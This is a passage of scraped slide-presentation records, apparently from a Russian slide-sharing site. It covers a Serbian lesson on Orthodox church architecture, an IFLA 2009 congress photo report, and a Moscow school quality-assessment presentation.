"description": "Храмови су постојали од памтивека , градови разграђивани , села расељавана , харале болести , мењала се царства и народи , а храмови стоје . Стоје и сведоче ..."
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img26.jpg",
"description": "ЕВАЛУАЦИЈА Радни лист за ученике Задатак:обојити Црвеном бојом олтар Плавом брод Жутом припрату храма Уцртати целивајућу икону солеу, амвон, иконостас и певнице."
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img27.jpg",
"description": "Црква у хришћанској архитектури трећа активност православни храм и литургијска структура Трећа активност је изведена у цркви Свете Тројице у Неготину и представља логичну завршницу обраде наставне јединице „ Црква у хришћанској архитектури“. Ученици су имали задатак да увиде на лицу места правила понашања у храму.Својим присуством на самој литургији ђаци су били у прилици да повежу структуру саме литургије(која је обрађивана на претходним часовима) и делове храма и њихову намену."
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img28.jpg",
"description": "ПРИПРАТА"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img29.jpg",
"description": "ЛАЂА ИЛИ БРОД Највећи део храма где стоји верни народ и где се налази целивајућа икона."
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img30.jpg",
"description": "СОЛЕА Део лађе који је предвиђен за свештенике током Малог входа (изношење Светог Јеванђеља) и Великог Входа (изношење Часних дарова), као и причешћивање верног народа."
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img31.jpg",
"description": "ОЛТАР Најсветији део храма где се смеју налазити само свештеници и чтеци ,место освећења Часних дарова ( хлеба и вина),читања молитви и причешћивања свештенства. На царским дверима чита се Свето Јеванђеље и свештеници стоје док причешћују вернике."
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img32.jpg",
"description": "Закључак Упознавши се са структуром свете литургије, као и структуром православног храма,ученици боље разумеју сам чин литургије у цркви као време и место нашег сусрета са Богом."
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img33.jpg",
"description": "Црква у хришћанској архитектури - презентация, слайд №34"
}
] |
https://mypresentation.ru/presentation/99674 | 1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img0.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img1.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img2.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img3.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img4.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img5.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img6.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img7.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img8.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img9.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img10.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img11.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img12.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img13.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img14.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img15.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img16.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img17.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img18.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №19"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img19.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №20"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img20.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №21"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img21.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №22"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img22.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №23"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img23.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №24"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img24.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №25"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img25.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №26"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img26.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №27"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img27.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №28"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img28.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №29"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img29.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №30"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img30.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №31"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img31.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №32"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img32.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №33"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img33.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №34"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img34.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №35"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/7d83720f19d2ae1c3ed823030c257648/img35.jpg",
"description": "1 ИФЛА КОНГРЕС МИЛАНО, 23-27. август 2009. фото-извештај Богдан Трифуновић Центар за дигитализацију Градска библиотека Владислав Петков, слайд №36"
}
] |
https://mypresentation.ru/presentation/99675 | XII пленум Центрального Совета ВПС «Региональная система оценки качества образования: участие институтов гражданского общества» ( | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img0.jpg",
"description": "XII пленум Центрального Совета ВПС «Региональная система оценки качества образования: участие институтов гражданского общества» (на примере московской программы «Столичное образование-5») Всероссийское педагогическое собрание"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img1.jpg",
"description": "Оценка качества обученности учащихся в системе внутришкольного управления ГОУ СОШ № 26 ЮЗОУО ДО г. Москвы"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img2.jpg",
"description": "Комплексная система автоматизации учебного процесса и управления школой"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img3.jpg",
"description": "Комплексная система автоматизации Комплексная система автоматизации учебного процесса и управления школой"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img4.jpg",
"description": "XII пленум Центрального Совета ВПС «Региональная система оценки качества образования: участие институтов гражданского общества» (, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img5.jpg",
"description": "Мобильный компьютерный класс Мобильный компьютерный класс"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img6.jpg",
"description": "Характеристики контрольных процедур Объективность оценок, обеспечиваемая унифицированным характером процедур оценки Валидность оценок, обеспечиваемая динамическим характером оценивания (с учетом предыдущих результатов, составляющих основу для прогнозирования) Регулярность и «встроенность» в привычные для школы оценки обученности Использование ИКТ для сбора первичных данных, комплексирования оценок, получения квалиметрических и статистических числовых результатов Открытость результатов для учащихся и их родителей, справедливость оценки, системное и полное накопление массива индивидуальных образовательных результатов"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img7.jpg",
"description": "Технология анализа контрольных работ ИРВ=83% РЕЗ=78,5% ИУСВ=88,9% ОЦ=76% ИНЕУСП=17%"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img8.jpg",
"description": "XII пленум Центрального Совета ВПС «Региональная система оценки качества образования: участие институтов гражданского общества» (, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img9.jpg",
"description": "XII пленум Центрального Совета ВПС «Региональная система оценки качества образования: участие институтов гражданского общества» (, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img10.jpg",
"description": "XII пленум Центрального Совета ВПС «Региональная система оценки качества образования: участие институтов гражданского общества» (, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img11.jpg",
"description": "Протокол анализа контрольной работы: результативность работы высокая [РЕЗ=79%] оценки выставлены объективно [РЕЗ=ОЦ] сильные учащиеся не справились с работой [УСВ<ИУСВ] учебные возможности учащихся реализованы полностью [РЕЗ=ИРВ] работа с неуспевающими проведена на должном уровне [НЕУСП=ИНЕУСП] определены типичные ошибки уровень преподавания в классе оптимальный [ ]"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/f0c3edb8fe3f98af863521412be3c88d/img12.jpg",
"description": "XII пленум Центрального Совета ВПС «Региональная система оценки качества образования: участие институтов гражданского общества» (на примере московской программы «Столичное образование-5») Всероссийское педагогическое собрание"
}
] |
Subsets and Splits